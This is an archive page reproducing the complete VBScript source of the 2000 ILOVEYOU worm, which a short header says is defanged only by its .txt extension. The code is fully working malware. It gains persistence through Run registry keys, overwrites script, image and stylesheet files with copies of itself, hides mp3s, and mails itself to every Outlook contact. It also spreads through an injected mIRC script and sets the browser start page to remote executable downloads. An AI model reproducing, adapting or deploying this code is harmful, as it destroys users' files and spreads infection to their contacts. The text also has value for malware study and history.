home *** CD-ROM | disk | FTP | other *** search
/ linuxmafia.com 2016 / linuxmafia.com.tar / linuxmafia.com / pub / ms-windows / malware / iloveyou.vbs.txt < prev    next >
Encoding:
Text File  |  2000-05-19  |  9.9 KB  |  270 lines
  1. This is the May 2000 "ILOVEYOU" worm ("virus") in its original form, 
  2. defanged even for MS Windows users by renaming it to *.txt.
  3.  
  4.  
  5.  
  6. rem  barok -loveletter(vbe) <i hate go to school>
  7. rem    by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft
  8. Group  /  Manila,Philippines
  9. On Error Resume Next
  10. dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
  11. eq=""
  12. ctr=0
  13. Set fso = CreateObject("Scripting.FileSystemObject")
  14. set file = fso.OpenTextFile(WScript.ScriptFullname,1)
  15. vbscopy=file.ReadAll
  16. main()
  17. sub main()
  18. On Error Resume Next
  19. dim wscr,rr
  20. set wscr=CreateObject("WScript.Shell")
  21. rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
  22. if (rr>=1) then
  23. wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
  24. end if
  25. Set dirwin = fso.GetSpecialFolder(0)
  26. Set dirsystem = fso.GetSpecialFolder(1)
  27. Set dirtemp = fso.GetSpecialFolder(2)
  28. Set c = fso.GetFile(WScript.ScriptFullName)
  29. c.Copy(dirsystem&"\MSKernel32.vbs")
  30. c.Copy(dirwin&"\Win32DLL.vbs")
  31. c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
  32. regruns()
  33. html()
  34. spreadtoemail()
  35. listadriv()
  36. end sub
  37. sub regruns()
  38. On Error Resume Next
  39. Dim num,downread
  40. regcreate
  41. "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
  42. regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
  43. downread=""
  44. downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
  45. if (downread="") then
  46. downread="c:\"
  47. end if
  48. if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
  49. Randomize
  50. num = Int((4 * Rnd) + 1)
  51. if num = 1 then
  52. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
  53. elseif num = 2 then
  54. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
  55. elseif num = 3 then
  56. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
  57. elseif num = 4 then
  58. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
  59. end if
  60. end if
  61. if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
  62. regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
  63. end if
  64. end sub
  65. sub listadriv
  66. On Error Resume Next
  67. Dim d,dc,s
  68. Set dc = fso.Drives
  69. For Each d in dc
  70. If d.DriveType = 2 or d.DriveType=3 Then
  71. folderlist(d.path&"\")
  72. end if
  73. Next
  74. listadriv = s
  75. end sub
  76. sub infectfiles(folderspec)
  77. On Error Resume Next
  78. dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
  79. set f = fso.GetFolder(folderspec)
  80. set fc = f.Files
  81. for each f1 in fc
  82. ext=fso.GetExtensionName(f1.path)
  83. ext=lcase(ext)
  84. s=lcase(f1.name)
  85. if (ext="vbs") or (ext="vbe") then
  86. set ap=fso.OpenTextFile(f1.path,2,true)
  87. ap.write vbscopy
  88. ap.close
  89. elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
  90. set ap=fso.OpenTextFile(f1.path,2,true)
  91. ap.write vbscopy
  92. ap.close
  93. bname=fso.GetBaseName(f1.path)
  94. set cop=fso.GetFile(f1.path)
  95. cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path)
  96. elseif(ext="jpg") or (ext="jpeg") then
  97. set ap=fso.OpenTextFile(f1.path,2,true)
  98. ap.write vbscopy
  99. ap.close
  100. set cop=fso.GetFile(f1.path)
  101. cop.copy(f1.path&".vbs")
  102. fso.DeleteFile(f1.path)
  103. elseif(ext="mp3") or (ext="mp2") then
  104. set mp3=fso.CreateTextFile(f1.path&".vbs")
  105. mp3.write vbscopy
  106. mp3.close
  107. set att=fso.GetFile(f1.path)
  108. att.attributes=att.attributes+2
  109. end if
  110. if (eq<>folderspec) then
  111. if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
  112. set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
  113. criptini.WriteLine "[script]"
  114. scriptini.WriteLine ";mIRC Script"
  115. scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if mIRC will"
  116. scriptini.WriteLine "    corrupt... WINDOWS will affect and will not run correctly. thanks"
  117. scriptini.WriteLine ";"
  118. scriptini.WriteLine ";Khaled Mardam-Bey"
  119. scriptini.WriteLine ";http://www.mirc.com"
  120. scriptini.WriteLine ";"
  121. scriptini.WriteLine "n0=on 1:JOIN:#:{"
  122. scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }"
  123. scriptini.WriteLine "n2=  /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
  124. scriptini.WriteLine "n3=}"
  125. scriptini.close
  126. eq=folderspec
  127. end if
  128. end if
  129. next
  130. end sub
  131. sub folderlist(folderspec)
  132. On Error Resume Next
  133. dim f,f1,sf
  134. set f = fso.GetFolder(folderspec)
  135. set sf = f.SubFolders
  136. for each f1 in sf
  137. infectfiles(f1.path)
  138. folderlist(f1.path)
  139. next
  140. end sub
  141. sub regcreate(regkey,regvalue)
  142. Set regedit = CreateObject("WScript.Shell")
  143. regedit.RegWrite regkey,regvalue
  144. end sub
  145. function regget(value)
  146. Set regedit = CreateObject("WScript.Shell")
  147. regget=regedit.RegRead(value)
  148. end function
  149. function fileexist(filespec)
  150. On Error Resume Next
  151. dim msg
  152. if (fso.FileExists(filespec)) Then
  153. msg = 0
  154. else
  155. msg = 1
  156. end if
  157. fileexist = msg
  158. end function
  159. function folderexist(folderspec)
  160. On Error Resume Next
  161. dim msg
  162. if (fso.GetFolderExists(folderspec)) then
  163. msg = 0
  164. else
  165. msg = 1
  166. end if
  167. fileexist = msg
  168. end function
  169. sub spreadtoemail()
  170. On Error Resume Next
  171. dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
  172. set regedit=CreateObject("WScript.Shell")
  173. set out=WScript.CreateObject("Outlook.Application")
  174. set mapi=out.GetNameSpace("MAPI")
  175. for ctrlists=1 to mapi.AddressLists.Count
  176. set a=mapi.AddressLists(ctrlists)
  177. x=1
  178. regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then
  179. regv=1
  180. end if
  181. if (int(a.AddressEntries.Count)>int(regv)) then
  182. for ctrentries=1 to a.AddressEntries.Count
  183. malead=a.AddressEntries(x)
  184. regad=""
  185. regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
  186. if (regad="") then
  187. set male=out.CreateItem(0)
  188. male.Recipients.Add(malead)
  189. male.Subject = "ILOVEYOU"
  190. male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
  191. male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
  192. male.Send
  193. regedit.RegWrite
  194. "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if
  195. x=x+1
  196. next
  197. regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
  198. else
  199. regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
  200. end if
  201. next
  202. Set out=Nothing
  203. Set mapi=Nothing
  204. end sub
  205. sub html
  206. On Error Resume Next
  207. dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
  208. dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ 
  209. "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?  @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ 
  210. "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
  211. "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.  HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
  212. "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.  HTM#-#,#-#main#-#)@-@
  213. BGPROPERTIES=@-@fixed@-@
  214. BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ 
  215. "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
  216. "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQU EE> "&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _
  217. "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrl f& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>
  218. "&vbcrlf& _ 
  219. "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _
  220. "on error resume next"&vbcrlf& _
  221. "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
  222. "aw=1"&vbcrlf& _
  223. "code="
  224. dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
  225. "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
  226. "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
  227. "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
  228. "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
  229. "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
  230. "wri.write code4"&vbcrlf& _
  231. "wri.close"&vbcrlf& _
  232. "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
  233. "if (err.number=424) then"&vbcrlf& _
  234. "aw=0"&vbcrlf& _
  235. "end if"&vbcrlf& _
  236. "if (aw=1) then"&vbcrlf& _
  237. "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
  238. "window.close"&vbcrlf& _
  239. "end if"&vbcrlf& _
  240. "end if"&vbcrlf& _
  241. "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
  242. "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^ -^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>"
  243. dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
  244. dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
  245. dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
  246. dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
  247. dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
  248. dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
  249. dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
  250. dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
  251. set fso=CreateObject("Scripting.FileSystemObject")
  252. set c=fso.OpenTextFile(WScript.ScriptFullName,1)
  253. lines=Split(c.ReadAll,vbcrlf)
  254. l1=ubound(lines)
  255. for n=0 to ubound(lines)
  256. lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
  257. lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
  258. lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then
  259. lines(n)=chr(34)+lines(n)+chr(34)
  260. else
  261. lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if
  262. next
  263. set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close
  264. set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5
  265. d.write join(lines,vbcrlf)
  266. d.write vbcrlf
  267. d.write dt6
  268. d.close
  269. end sub
  270.